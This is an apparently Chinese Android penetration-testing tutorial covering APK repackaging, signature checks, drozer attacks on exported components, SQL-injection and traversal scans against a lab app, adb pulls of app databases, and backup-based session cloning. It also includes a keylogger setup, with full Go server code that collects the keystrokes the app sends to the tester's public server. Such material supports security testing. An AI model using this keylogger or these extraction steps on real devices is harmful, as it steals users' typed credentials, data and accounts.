基本知識
平時安裝的應用位置,裏面主要是odex可運行文件
/data/app
系統應用位置(需要root權限),裏面主要是odex可運行文件
/system/app
應用的數據相關的位置,裏面包含一些配置,緩存信息
/data/data
重打包測試測試
測試流程
檢測app是否檢測簽名,如果未檢測簽名可重打包篡改app的代碼再次發佈
首先準備2個工具,apktool.jar和signapk.jar,其次尋找簽名需要的2個證書文件pk8和pem,可以直接生成我這裏直接拿別人編譯好的,github上隨便搜索signapk的項目,找到的下面內容
https://github.com/sunshinelyz/mykit-android-signapk
獲取了之後先看之前app的樣子
爲了明顯目的是將程序未註冊改爲其他的顯示
拿到apk,使用apktool進行反編譯, -f
爲apk名稱 -o
爲生成的文件夾名稱
apktool d -f app-debug.apk -o app
或
java -jar apktool.jar d -f app-debug.apk -o app
此時我們當前路徑下就多了app目錄,打開他,目錄結構如下,和使用jad和jre反編譯不同,他沒有dex文件,而是smali文件
我們再smali中找到程序未註冊的字符位置,中文在smali中是以unicode編碼的形式存儲
將其修改,hijacking test
重新打包,此處-f
參數爲項目文件夾, -o
爲生成的apk名稱
apktool b -f app -o test.apk
或
java -jar apktool.jar -f app -o test.apk
此時還不夠,需要進行簽名
java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test-final.apk
生成我們最終的test-final.apk
但是在安裝時,會出現與已安裝的應用簽名不同,但這並不是說明程序進行了簽名校驗,只是安卓系統進行了版本更新的對比
將之前的程序刪掉
再次安裝成功
打開也成功修改了指定文本
防禦方式
使用Native層代碼驗證代碼的完整性,或者加殼
簽名完整性測試
檢測app是否是原本,還是被第三方重新打包的
測試流程
jarsigner -verify [apk路徑]
顯示未簽名說明被第三方篡改重新打包了,顯示已驗證爲完整的
檢測證書情況
jarsigner -verify -verbose -certs [apk路徑]
可導出組件測試
測試流程
該漏洞是因爲該app組件未進行嚴格權限控制,導致任意app均可調用該組件導致危害
需要的工具爲dorzer
導出的組件前提爲,下列滿足其一就可:
1.顯示聲明 android:exported="true"
2.未顯示聲明 android:exported="false" 組件不是 Content Provider 組件不包含 <intent-filter>
3.未顯示聲明 android:exported="false" 組件是 Content Provider api版本 < 17
首先選擇目標,我在酷安上隨便找了個應用
手機連接好電腦,分別啓動dorzer
使用ls可用查看命令,首先查看有哪些包在運行
run app.package.list
有許多結果可以通過-f
參數進行過濾,這裏查看目標app的包名可以通過手機中 設置->更多應用->對應app->應用信息裏面有應用包名
run app.package.list -f xxs
查看包信息
run app.package.info -a com.xxs.leon.xxs
查看可攻擊組件信息
run app.package.attacksurface com.xxs.leon.xxs
查看對應組件信息
run app.activity.info -a com.xxs.leon.xxs #查看activity組件
run app.broadcast.info -a com.xxs.leon.xxs #查看broadcast組件
run app.provider.info -a com.xxs.leon.xxs #查看provider組件
run app.service.info -a com.xxs.leon.xxs #查看service組件
那麼接下來可以直接調用對應組件,實現繞過app本身邏輯直接請求組件,一般用於繞過登錄之類的漏洞
實體機如果不靈光可以重啓解決
run app.activity.start --component com.xxs.leon.xxs com.xxs.leon.xxs.ui.activity.WebActivity
廣播模塊攻擊
run app.broadcast.send --action [組件路徑] --extra string [輸出的變量] [更改的值]
因爲小小書app不太典型,因此使用dorzer官網自帶的測試漏洞app
https://labs.f-secure.com/tools/drozer/
整個程序功能大致爲輸入密碼後輸出信息
啓動server服務
run app.service.start --action com.mwr.example.sieve(包名) --component com.mwr.example.sieve(包名) com.mwr.example.sieve.AuthService(組件名)
查看ContentProvider並找到url路徑-a
後接包名
run scanner.provider.finduris -a com.mwr.example.sieve
provider 組件可能存在客戶端的sql注入和目錄遍歷的問題
#sql注入
run scanner.provider.injection -a com.mwr.example.sieve
#目錄遍歷
run scanner.provider.traversal -a com.mwr.example.sieve
敏感文件泄露
一般敏感的文件有sqlite的數據庫文件,xml文件,logcat日誌內容
使用root權限的adb,前往程序app的文件夾下(路徑可通過drozer去查看)
adb root
adb shell
cd xxx/xxx/xxx
sqlite文件一般在databases下面
可以看到存在database.db的文件,可以通過find命令去查找
find /data/user/0/com.mwr.example.sieve -name *.db
回到pc的命令行,使用adb pull命令將db拷貝出來
adb pull /data/user/0/com.mwr.example.sieve/databases/database.db
用工具打開sqlite數據庫文件
xml配置文件一般在shared_prefs下面
將其拷貝出來
adb pull /data/user/0/com.xxs.leon.xxs/shared_prefs
比如小小書的公告內容寫在了配置中(這裏應該是通過網絡傳輸更新配置文件的)
Logcat 日誌導出
adb shell logcat -d > 1.txt
使用文件編輯器全局搜索翻閱
靜態資源備份打包
AllowBackup屬性設置爲true,則存在備份打包漏洞,使用原理如手機A某app登錄了賬號,該app的AllowBackup屬性設置爲true,此時在手機A上打包該app並導出,將導出的apk重新放入手機B中,手機B默認登錄手機A中的賬號
#連接手機A
adb kill-server
adb backup -nosystem -noshared -apk -f com.xxs.leon.xxs.ab com.xxs.leon.xxs
#連接手機B
adb kill-server
adb devices
adb restore com.xxs.leon.xxs.ab
準備手機A
手機B未登錄
把小小書進行備份,並且將備份寫入手機B
成功登陸
鍵盤記錄漏洞
github項目
https://github.com/bshu2/Android-Keylogger
需要自己編譯apk,自己編譯時將apk的url路徑改爲自己的公網服務器地址
之後在服務器上啓動server.go服務,這裏需要改動下,將init內容寫到main函數中,並且將包改爲package main,端口號與apk中的修改的url地址相對應即可
package main
import (
"io/ioutil"
"fmt"
"strings"
"net/http"
)
var entries = []string{}
func init() {
http.HandleFunc("/", handler)
http.ListenAndServe(":5001", nil)
}
func handler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "GET":
//serve the resource
fmt.Fprintf(w, "<table><tr><th>Timestamp</th><th>Action</th><th>Data</th></tr>")
for i, _ := range entries {
fmt.Fprintf(w, "%s", entries[len(entries) - i - 1])
}
fmt.Fprintf(w, "</table>")
case "POST":
//add entry
body, err := ioutil.ReadAll(r.Body)
if err != nil {
fmt.Fprintf(w, err.Error())
}
entry := strings.SplitN(string(body), "|", 3)
new_entry := fmt.Sprintf("<tr><td>%s</td><td>%s</td> <td>%s</td></tr>", entry[0], entry[1], entry[2])
entries = append(entries, new_entry)
if len(entries) > 100 {
entries = entries[1:]
}
fmt.Fprintf(w, "POST\n")
default:
//do nothing
}
}
func main(){
http.HandleFunc("/", handler)
http.ListenAndServe(":5001", nil)
}
啓動server
go run server.go
手機上啓動app需要root權限,將app掛到後臺
輸入的記錄,將發送到go語言啓動的web服務器
以上操作需要root權限,並且很變態在於自定義鍵盤也可以獲取輸入內容
不需要root權限可使用專門記錄鍵盤的app,相當於安裝記錄輸入內容的輸入法app,在測試對象沒有使用自定義軟鍵盤的情況下,調用該輸入法app,則會存在輸入內容被竊取記錄的風險
屏幕截取漏洞
adb shell /system/bin/screencap -p /data/1.png
從手機放入電腦
adb pull /data/1.png